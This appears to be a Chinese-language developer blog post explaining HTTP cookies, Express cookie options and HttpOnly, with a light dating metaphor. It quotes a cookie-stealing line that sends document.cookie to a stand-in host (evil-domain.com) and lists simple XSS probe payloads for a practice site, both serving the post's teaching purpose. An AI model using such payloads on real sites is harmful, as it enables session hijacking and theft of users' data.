用 HTTP Cookies 記住你的曾經 從把妹角度理解前後端如何和平相處

me
林彥成
2022-09-24 | 3 min.
文章目錄
  1. 1. 為什麼需要 Cookie
    1. 1.1. Cookie 使用場景
    2. 1.2. Cookie 安全問題
  2. 2. Cookie 實作:
  3. 3. Cookie 安全機制

在前兩篇文章小編介紹了非同步 AJAX網頁即時通訊技術,可以發現前後端 API 的溝通只關注在 “傳入” 和 “傳出” 或 “事件”,過程中 HTTP 的溝通並沒有包含狀態。

所以若重新整理或再次開啟相關頁面需回到上一次的狀態時,Cookie 提供狀態的存放空間來恢復前一次瀏覽。

瀏覽器雖然有提供 localStorage、sessionStorage、IndexedDB,但 Cookie 有個特殊的預設行為是每次都會跟著請求回到伺服器。

是不是常常被另外一半說,我講過了你都沒在聽,或是你上次跟我講過了你都不記得?

Cookie 可以幫助你在回應時,結合一些 “記起來” 的東西到回應裡,但實際上人與人之間該怎麼做? That is a question QQ

商業上: Cookie 因為會跟著請求回到伺服器這個特性,常被用來紀錄特定的消費者行為
流程上: 會記錄帳號相關狀態,常見的第三方登入狀態儲存就會運用到 Cookie,那 Cookie 要存多久? 存多久要依照商業邏輯而定,譬如希望用戶一天內不需重新登入就可以設定一天
個人化: 不想存進去資料庫但又想要客製的部分

首先最簡單的是如果函式庫 CDN 的來源如果是不安全的 (來源是來自海峽對岸,內建固定把資料傳回北京?

今天只要 CDN 的函式庫被駭客駭掉了,當連結不變及原有的封裝不變的前題下,裡面簡單放一些偷資訊的程式碼,也許在你一定會按到的按鈕上面又加上 onClick 事件,在你按下去的過程中,資料就會在沒有注意到的情況下被送出去了。

MDN 的文件上直接說這樣的機制本身是不安全的,但比起使用瀏覽器本身的 storage,Cookie 至少還有參數可以設定,主要都是想辦法讓我們的 script 可以在其他人的網站執行。

Cookie 若從設定來看可以粗分成兩種,那個參數就是 HttpOnly

  • 有 HttpOnly: 由伺服器產生,只有伺服器端可以進行操作
  • 無 HttpOnly: 透過 document.cookie 來存取,可以從瀏覽器端透過程式來操作,會有 XSS 問題

運用 Express 從 Server 端設定 Cookie 的方式也很簡單,關鍵就是知道有哪幾個參數。

  • domain: 鎖使用網域
  • path: 鎖使用路徑
  • secure: HTTPS 才可以使用
  • expires: 設定為常駐的 Cookie 會在特定日期消失
  • maxAge: 設定為常駐的 Cookie 會在一個時間長度後消失
  • encode: 預設是 encodeURIComponent
  • httpOnly: 只有伺服器端可以存取
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
res.Cookie("rememberme", "1", {
domain: "example.com",
path: "/admin",
// HTTPS
secure: true,
// 常駐的 Cookie 在什麼時候到期
expires: new Date(Date.now() + 900000),
// 不會出現 %
encode: String,
// 只能伺服器端存取
httpOnly: true,
});
res.Cookie(
"cart",
{ items: [1, 2, 3] },
{
// 可維持最大時間,同 expires: new Date(Date.now() + 900000)
maxAge: 900000,
}
);

由於 Cookie 會隨著請求一起回到伺服器,想到的安全機制有

  • Cookie 有 Domain 以及路徑的來控制作用範圍
  • 設計拿取敏感資料的 Token 限使用一次、綁定裝置的 Fingerprint 甚至是 IP 位置

在 MDN 文件中有個殭屍 Cookie 或是 Facebook 像素我覺得也是類似的概念,都是用來鎖定使用者。

可以做到在使用者做任何動作的時候,就同時把這樣的動作和這個 ID 進行綁定,這樣一來只要下次又發現這個 id 我們就可以進行對應行動。

不過當代函式庫像是 React 就會特別註明 dangerously 像是這個 dangerouslySetInnerHTML,這就代表是會執行的部分。

假設今天被埋了一張假的圖片,底下是 MDN 上的範例,這樣似乎代表圖片載入的時候,我們的 Cookie 也爆露了。

1
2
new Image().src =
"http://www.evil-domain.com/steal-Cookie.php?Cookie=" + document.Cookie;

底下有一個網站可以讓大家練習,透過輸入框的輸入來執行我們的腳本。

http://xss-quiz.int21h.jp/

  • aaa<bbb>ccc/ddd'eee"fff;ggg:hhh
  • <script> alert(document.domain) </script>
  • "><script> alert(document.domain) </script>

在測試的過程中發現 Chrome 超厲害竟然會自己偵測危險,也許是這樣的錯誤太低級了,當我們在瀏覽器裡面停用 Cookie 的時候 sessionStorage 跟 localStorage 也會被擋,那重新整理又需要狀態怎麼辦,Facebook 的解決方法是把你登出,


喜歡這篇文章,請幫忙拍拍手喔 🤣


share